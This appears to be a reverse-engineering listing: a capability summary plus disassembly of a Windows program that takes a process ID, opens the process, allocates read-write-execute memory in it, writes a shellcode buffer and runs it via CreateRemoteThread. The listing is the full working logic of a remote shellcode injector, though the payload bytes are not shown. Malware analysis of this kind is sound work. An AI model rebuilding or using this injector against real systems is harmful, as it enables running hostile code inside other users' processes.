Function at 0x401560
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
cmp dword [rbp + 0x10], 1
jg 0x40159a
mov rax, qword [0x00403028]
mov rdx, rax
lea rcx, str._s_usage:_program.exe__PID__n
call sym.printf
mov eax, 1
jmp 0x40181f
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [0x00407030], eax
mov edx, dword [0x00407030]
mov rax, qword [0x00403020]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_trying_to_open_handle_to_process___ld__n
call sym.printf
mov eax, dword [0x00407030]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
lea rdx, [0x00407990]
mov qword [rdx], rax
lea rax, [0x00407990]
mov rdx, qword [rax]
mov rax, qword [0x00403030]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_got_handle_to_process__n___0x_p_n
call sym.printf
mov edx, dword [0x00407030]
mov rax, qword [0x00403030]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_got_handle_to_process___ld__n
call sym.printf
lea rax, [0x00407990]
mov rax, qword [rax]
test rax, rax
jne 0x401677
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x00403028]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_could_not_open_handle_to_process___ld___erro:__ld
call sym.printf
mov eax, 1
jmp 0x40181f
lea rax, [0x00407990]
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1cd
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x00407038], rax
mov rax, qword [0x00403030]
mov r8d, 0x1cd
mov rdx, rax
lea rcx, str._s_allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_n
call sym.printf
mov rdx, qword [0x00407038]
lea rax, [0x00407990]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9d, 0x1cd
lea r8, [0x00403040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [0x00403030]
mov r8d, 0x1cd
mov rdx, rax
lea rcx, str._s_wrote__zu_bytes_to_remote_process_memory_n
call sym.printf
mov rax, qword [0x00407038]
mov rcx, rax
lea rax, [0x00407990]
mov rax, qword [rax]
lea rdx, [0x00407044]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [0x00403038], rax
mov rax, qword [0x00403038]
test rax, rax
jne 0x4017b7
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x00403028]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_could_not_create_remote_thread__error:__ld_n
call sym.printf
lea rax, [0x00407990]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x40181f
mov edx, dword [0x00407044]
mov rax, qword [0x00403030]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_got_handle_to_the_Thread___ld__n__0x_p_n
call sym.printf
mov rax, qword [0x00403030]
mov rdx, rax
lea rcx, str._s_waiting_for_thread_to_finish..._n
call sym.printf
lea rcx, str.Cleaning_up...
call sym.puts
lea rax, [0x00407990]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rcx, str.Finished__see_you_next_time__:_
call sym.puts
mov eax, 0
add rsp, 0x40
pop rbp
ret